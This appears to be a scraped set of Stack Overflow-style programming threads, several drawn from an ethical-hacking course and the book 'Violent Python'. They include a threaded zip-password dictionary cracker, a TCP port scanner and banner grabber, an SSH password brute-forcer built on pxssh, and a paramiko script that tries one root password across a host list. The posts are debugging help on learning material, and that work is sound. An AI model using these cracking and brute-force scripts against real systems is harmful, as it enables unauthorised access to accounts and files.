Ethical hacking script not working - no error message - python

I've been taking an Ethical Hacking course. Part of the course is creating a Python script that finds the password for a locked zip file, from a password list text file (hope that makes sense!) - basically iterates through a text file trying each password. The script doesn't work, doesn't error out, and the instructor says "well, it works for me" - not useful. Here's the script:
import optparse
import zipfile
from threading import Thread
def extract_zip(zfile, password):
try:
zfile.extractall(pwd=password)
print("[+] Password Found: " + password + '\n')
except:
pass
def main():
parser = optparse.OptionParser("usage %prog "+\
"-f <zipfile> -d <dictionary>")
parser.add_option('-f', dest='zname', type='string',\
help='specify zip file')
parser.add_option('-d', dest='dname', type='string',\
help='specify dictionary file')
(options, arg) = parser.parse_args()
if (options.zname == None) | (options.dname == None):
print(parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
passFile = open(dname)
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if __name__ == '__main__':
main()
The other two files are a text file with a list of passwords, and a password protected zip file where one of the passwords from the text file will unlock it.
Within the course there's a thread mentioning that optparse is depracated, and argparse is its replacement - but even rewriting the script with that doesn't work.
For want of closing out this part of the course I'm looking for help in why this doesn't work.
Thanks in advance for any help on this.

Per my comment above - I added the code below just below the "try" statement:
password = bytes(password.encode('utf-8'))
...then changed
print('[+] Password Found: ' + password + '\n')
to
print("[+] Password Found: " + (password.decode("utf-8")) + '\n')
Now I get the password printed to the console, and the zip file is unzipped. Here's the final, working code.
import optparse
import zipfile
from threading import Thread
def extract_zip(zfile, password):
try:
password = bytes(password.encode('utf-8'))
zfile.extractall(pwd=password)
print("[+] Password Found: " + (password.decode("utf-8")) + '\n')
except:
pass
def main():
parser = optparse.OptionParser("usage %prog " + '-f <zipfile> -d <dictionary>')
parser.add_option('-f', dest='zname', type='string', help='specify zip file')
parser.add_option('-d', dest='dname', type='string', help='specify dictionary file')
(options, args) = parser.parse_args()
if (options.zname is None) | (options.dname is None):
print(parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
passFile = open(dname)
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if __name__ == '__main__':
main()
The way I found this was by changing the 'except' statement to print exceptions to the console:
except Exception as e: print(e)
From there I had a couple of issues to solve, but at least I had errors to work with. Once the password was being successfully logged to the console I change the exeception statement back to "pass" - don't need to see the passwords that failed!
I hope this helps someone else hitting the same issues I had.

I run your code using python3 it excuted without problem i did this long ago
it is a book called violent something
the password.txt should contain this line
victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh
root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash
and the command should look like
python stack.py -f evil.zip -d passwords.txt

Related

Using the subprocess library: error: unrecognized arguments

So essentially I have 15 or so scripts that can connect to various networking devices using an SSH library. I want to create one top-level python file that can run other python scripts so the user can decide which scripts they want to run. I have been advised to use the subprocess library and this seems to make the most sense for what I want to do. It is important to note that my python scripts contain command-line argparse arguments for it to run, for example:
python San_cable_test.py -deviceIP 172.1.1.1 -deviceUsername myUsername -devicePassword myPassword
So far I have created a top-level python file that is set up to call two python scripts to start with that the user can enter. However, when I run the program and select one of the options and get the user arguments, I get a
error: unrecognized arguments:
I tried it two different ways and I'll show the tracebacks:
usage: San_cable_test.py [-h] [-deviceIP DEVICEIP]
The name of this script is: San_cable_test.py
[-deviceUsername DEVICEUSERNAME]
[-devicePassword DEVICEPASSWORD]
San_cable_test.py: error: unrecognized arguments: 172.1.1.1 myUsername myPassword
and
usage: San_cable_test.py [-h] [-deviceIP DEVICEIP]
[-deviceUsername DEVICEUSERNAME]
The name of this script is: San_cable_test.py
[-devicePassword DEVICEPASSWORD]
San_cable_test.py: error: unrecognized arguments: -deviceIP 172.1.1.1 -deviceUsername myUsername -devicePassword myPassword
This is my first time using the subprocces library and I don't know if I'm calling these scripts right. The problem is that these scripts are run in the command line using argparse, so that's the issue. Unfortunately I am using 2.7.16 because of this weird company thing and I've been trying to get my managers to know that 2.7 is going to be unsupported soon but that's not relevant as of now. Here is the important part of my code. I really appreciate the help!
def runMain():
scriptName = os.path.basename(__file__)
print("The name of this script: " + scriptName + "\n")
scriptPurpose = 'This script is the top-level module that can invoke any script the user desires !\n'
while True:
optionPrinter()
user_input = input("Please select an option for which your heart desires...\n")
switch_result = mySwitch(user_input)
if switch_result == "our_Switch":
deviceIP = raw_input("Enter the IP address for the device")
deviceUsername = raw_input("Enter the username for the device")
devicePassword = raw_input("Enter the password for the device")
subprocess.call(['python', 'our_Switch.py', deviceIP, deviceUsername, devicePassword])
elif switch_result == "San_cable_test":
deviceIP = raw_input("Enter the IP address for the device")
deviceUsername = raw_input("Enter the username for the device")
devicePassword = raw_input("Enter the password for the device")
subprocess.call(['python', 'San_cable_test.py', deviceIP, deviceUsername, devicePassword])
else:
print("Exiting the program now, have a great day !\n")
sys.exit(-1)
if __name__ == '__main__':
Here is the an example of argparse being used in one of the scripts
def runMain():
scriptName = os.path.basename(__file__)
print("The name of this script is: " + scriptName)
scriptPurpose = 'This script enables and disables the SAN switches'
parser = argparse.ArgumentParser(description=scriptPurpose, formatter_class=RawTextHelpFormatter)
parser.add_argument("-deviceIP", help="Target device IP address", type=str)
parser.add_argument("-deviceUsername", help="Target device username", type=str)
parser.add_argument("-devicePassword", help="Target device password", type=str)
args = parser.parse_args()
if args.deviceIP is None:
print("The device IP parameter is blank\n")
else:
deviceIP = args.deviceIP
if args.deviceUsername is None:
print("The device userName parameter is blank\n")
else:
deviceUsername = args.deviceUsername
if args.devicePassword is None:
print("The device password parameter is blank\n")
else:
devicePassword = args.devicePassword
print("**********************\n")
print (deviceIP + " " + deviceUsername + " " + devicePassword)
print("**********************\n")
print("This script allows the user to enable and disable ports on a SAN switch to see how it behaves\n")
print("Checking to see if the SAN switch is pingable\n")
test_ping = canPing(deviceIP)
if test_ping:
print("The switch is pingable, let's proceed !\n")
else:
print("This device is not pingable unfortunately, sorry... : (\n")
sys.exit(-1)
sshConnection = connectToSSH(deviceIP, deviceUsername, devicePassword)
while True:
optionPrinter()
user_input = input("Select an option from the menu\n")
switch_result = mySwitch_function(user_input)
if switch_result == 'ShowPort':
portShow(sshConnection)
elif switch_result == 'SwitchShow':
switchShow(sshConnection)
elif switch_result == 'EnablePort':
enablePort(sshConnection)
elif switch_result == 'DisablePort':
disablePort(sshConnection)
elif switch_result == 'disableEnable':
disableEnableIteration(sshConnection)
else:
print("Program is exiting now, have a great day/night ! \n")
sys.exit(-1)
You're missing the option names before the parameters.
subprocess.call(['python', 'our_Switch.py', '-deviceIP', deviceIP, '-deviceUsername', deviceUsername, '-devicePassword', devicePassword])
However, it would probably be cleaner if you changed these other scripts into Python modules that you could simply import and call directly as functions, rather than running them as subprocesses.

Pentesting with Python

Just typed up an banner grabber and port scanner from the 'Violent Python' book by TJ 'O Connor, I'm not getting any syntax errors when I run it, but I don't get any output what so ever either, can someone tell me what's potentially wrong? The books written in python 2.6, i'm using 2.7, I don't know if that's the issue maybe? Any help would be greatly appreciated! The book also had 'import socket as Ú' but that got syntax errors so I took it out, not sure what it did anyway
import optparse
import socket
def connScan(tgtHost,tgtPort):
try:
connSkt= socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost,tgtPort))
connSkt.send('Violent Python\r\n')
results= connSkt.recv(1024)
print '[+]%d/tcp open' % tgtPort
print '[+]' + str(results)
connSkt.close()
except:
print '[-]%d/tcp closed' % tgtPort
def portScan(tgtHost,tgtPorts):
try:
tgtIP=gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': Unkonwn host" % tgtHost
return
try:
tgtName= gethostbyaddr(tgtIP)
print '\n[+]Scan results for: ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print 'Scanning port ' + tgtPort
connScan(tgtHost,int(tgtPort))
except:
print 'exception granted'
def main():
parser = optparse.OptionParser('usage %prog -h'+'<target host> -p <target port>')
parser.add_option('-h', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port[s] seperated by comma')
(options,args) = parser.parse_args()
tgtHost= options.tgtHost
tgtPorts= str(options.tgtPort).split(',')
if (tgtHost == None)|(tgtPorts[0] == None):
print '[*] You must specify a target host and port[s]'
exit(0)
portScan(tgtHost,tgtPorts)
if __name__=='__main__':
main()
The reason nothing is happening is because your code consists entirely of function declarations. At no point do you actually tell python to run anything.
That job is supposed to be done by this if statement:
if __name__=='__main__':
main()
However, you have mistakenly indented too much, thus making it a part of the main() function. For the code to work, you need to unindent it like so:
def main():
parser = optparse.OptionParser('usage %prog -h'+'<target host> -p <target port>')
parser.add_option('-h', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port[s] seperated by comma')
(options,args) = parser.parse_args()
tgtHost= options.tgtHost
tgtPorts= str(options.tgtPort).split(',')
if (tgtHost == None)|(tgtPorts[0] == None):
print '[*] You must specify a target host and port[s]'
exit(0)
portScan(tgtHost,tgtPorts)
if __name__=='__main__': # NOT a part of the main()
main()
As for import socket as Ú, the purpose of this line is to import the module called socket, but give it an alias, in this case Ú. From then on, instead of referring to it as socket in your code, you refer to it as Ú.

ssh to remote machine with password in script via python

I am working with remote machine. I had to ssh everytime i need verification of file update time and there are multiple scripts which will do ssh to the remote machine.
I look over internet but couldn't find according to my requirements.
I am trying to find a python script which uses ssh and the password is also in the script because my python scripts will check every 5 minutes the file modification times and i cannot enter password everytime the script execute.
I tried these codes from SO and internet but couldn't fulfil my need.
Establish ssh session by giving password using script in python
How to execute a process remotely using python
Also I enter into one remote machine through ssh simply.then I am trying to ssh but via python script to another remote machine cox this python script also include code to check the modification time of different files.. mean i already ssh to one remote machine and then i want to run some python scripts from there which checks file modification time of files on another remote machine.
Is there a simple way to ssh remote machine along with password in python script. .
I would be grateful.
If you want to try paramiko module. Here is a sample working python script.
import paramiko
def start_connection():
u_name = 'root'
pswd = ''
port = 22
r_ip = '198.x.x.x'
sec_key = '/mycert.ppk'
myconn = paramiko.SSHClient()
myconn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
my_rsa_key = paramiko.RSAKey.from_private_key_file(sec_key)
session = myconn.connect(r_ip, username =u_name, password=pswd, port=port,pkey=my_rsa_key)
remote_cmd = 'ifconfig'
(stdin, stdout, stderr) = myconn.exec_command(remote_cmd)
print("{}".format(stdout.read()))
print("{}".format(type(myconn)))
print("Options available to deal with the connectios are many like\n{}".format(dir(myconn)))
myconn.close()
if __name__ == '__main__':
start_connection()
Adding my program as well here which relies on the user password and displays the status on different output files.
#!/bin/python3
import threading, time, paramiko, socket, getpass
from queue import Queue
locke1 = threading.Lock()
q = Queue()
#Check the login
def check_hostname(host_name, pw_r):
with locke1:
print ("Checking hostname :"+str(host_name)+" with " + threading.current_thread().name)
file_output = open('output_file','a')
file_success = open('success_file','a')
file_failed = open('failed_file','a')
file_error = open('error_file','a')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host_name, username='root', password=pw_r, timeout=5)
#print ("Success")
file_success.write(str(host_name+"\n"))
file_success.close()
file_output.write("success: "+str(host_name+"\n"))
file_output.close()
# printing output if required from remote machine
#stdin,stdout,stderr = ssh.exec_command("hostname&&uptime")
#for line in stdout.readlines():
# print (line.strip())
except paramiko.SSHException:
# print ("error")
file_failed.write(str(host_name+"\n"))
file_failed.close()
file_output.write("failed: "+str(host_name+"\n"))
file_output.close()
#quit()
except paramiko.ssh_exception.NoValidConnectionsError:
#print ("might be windows------------")
file_output.write("failed: " + str(host_name + "\n"))
file_output.close()
file_failed.write(str(host_name+"\n"))
file_failed.close()
#quit()
except socket.gaierror:
#print ("wrong hostname/dns************")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
except socket.timeout:
#print ("No Ping %%%%%%%%%%%%")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
ssh.close()
def performer1():
while True:
hostname_value = q.get()
check_hostname(hostname_value,pw_sent)
q.task_done()
if __name__ == '__main__':
print ("This script checks all the hostnames in the input_file with your standard password and write the outputs in below files: \n1.file_output\n2.file_success \n3.file_failed \n4.file_error \n")
f = open('output_file', 'w')
f.write("-------Output of all hosts-------\n")
f.close()
f = open('success_file', 'w')
f.write("-------Success hosts-------\n")
f.close()
f = open('failed_file', 'w')
f.write("-------Failed hosts-------\n")
f.close()
f = open('error_file', 'w')
f.write("-------Hosts with error-------\n")
f.close()
with open("input_file") as f:
hostname1 = f.read().splitlines()
#Read the standard password from the user
pw_sent=getpass.getpass("Enter the Password:")
start_time1 = time.time()
for i in hostname1:
q.put(i)
#print ("all the hostname : "+str(list(q.queue)))
for no_of_threads in range(10):
t = threading.Thread(target=performer1)
t.daemon=True
t.start()
q.join()
print ("Check output files for results")
print ("completed task in" + str(time.time()-start_time1) + "seconds")

AttributeError: 'NoneType' object has no attribute 'sendline' yet module contains the attribute having tested it another way?

After importing the relevant libraries and creating a connect function using the pxssh library, I have created my main function to accept the arguments of 'host, 'user' and the filename that I give.
The program successfully reads the file and parses each password string into the s.login method and returns 'success' message after finding the password. This I assume means that the connection has been made with the ssh server. But from the point of 'con = connect' I get no print statement to say that [SSH connected...] further than that I get the command line prompt after it successfully finds the password but after entering a command I get an attribute error against con.sendline -
>ls -l
Traceback (most recent call last):
File "sshBruteFpw.py", line 60, in <module>
main()
File "sshBruteFpw.py", line 52, in main
con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root#kali:~/Desktop/scripts#
I am at a loss as to why con.sendline has no attribute 'sendline' when I know that the library contains this method. I have tested this sendline method in other ways and it will work.
Any help on this much appreciated. Thanks in advance...
import pxssh
import argparse
import time
import sys
import getpass
def connect(host, user, password):
Fails = 0
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] password found! ' + password
return s
except Exception, e:
if Fails > 5:
print '[-] Too many Socket Timeouts!!'
sys.exit(1)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, password)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, password)
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='Specify Target Host')
parser.add_argument('user', help='Specify Target User')
parser.add_argument('file', help='Specify Password File')
args = parser.parse_args()
if args.host and args.user and args.file: #if these args are all true
with open(args.file, 'r') as infile: #open with and read only the specified file as 'infile'
for line in infile:
password = line.strip('\r\n')#read and strip each line
print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
con = connect(args.host, args.user, password)
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
con.prompt()
print con.before
command = raw_input(">")
else:
print parser.usage
sys.exit(1)
if __name__ == '__main__':
main()
Unless the indentation is very off, you are going into that branch of the code, even if you don't have con set up:
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
after the second line, there should be continue, if the connection failed, isn't it?

Python file not found error when the file clearly exists

I have been working on a project that takes a MySQL dump and restores a database with the information that a user provides. I keep getting a file can not be found error then my custom error for debugging stating that. OS command has failed.
try:
username = self.username.get()
password = self.password.get()
database = self.database.get()
file = self.filename
print str(username)
print str(file)
test = os.system("mysql -u" + username + " -p" + password + " " + database + " <" + file)
if (test != 0):
print "OS COMMAND FAILED"
else:
print "pass"
print test
except:
print "fail"
print "Unexpected error:", sys.exc_info()[0]
raise
I will also continue to do research just in case I find the solution. I have been looking at the os.system command but the problem goes away if I specify the file name right in the command instead of retrieving it from a variable.
All the variables are pulled from entry boxes. There is no way for a user to type the file name incorectly as the program populates the filename based on a openfiledialog box and does not allow for the user to edit that box.
Error text:
C:/Documents and Settings/XPMUser/Desktop/src/database.sql
root
The system cannot find the file specified.
OS COMMAND FAILED
1
If there is a space in the filename, that will cause the kind of problem you describe. The shell will parse the space as being a delimiter. You may want to do something like
import pipes
...
database + " < " + pipes.quote(filename)
Better yet, use the subprocess module
test = subprocess.call(['mysql', '-u', username, '-p', password, database],
stdin=open(file))

Categories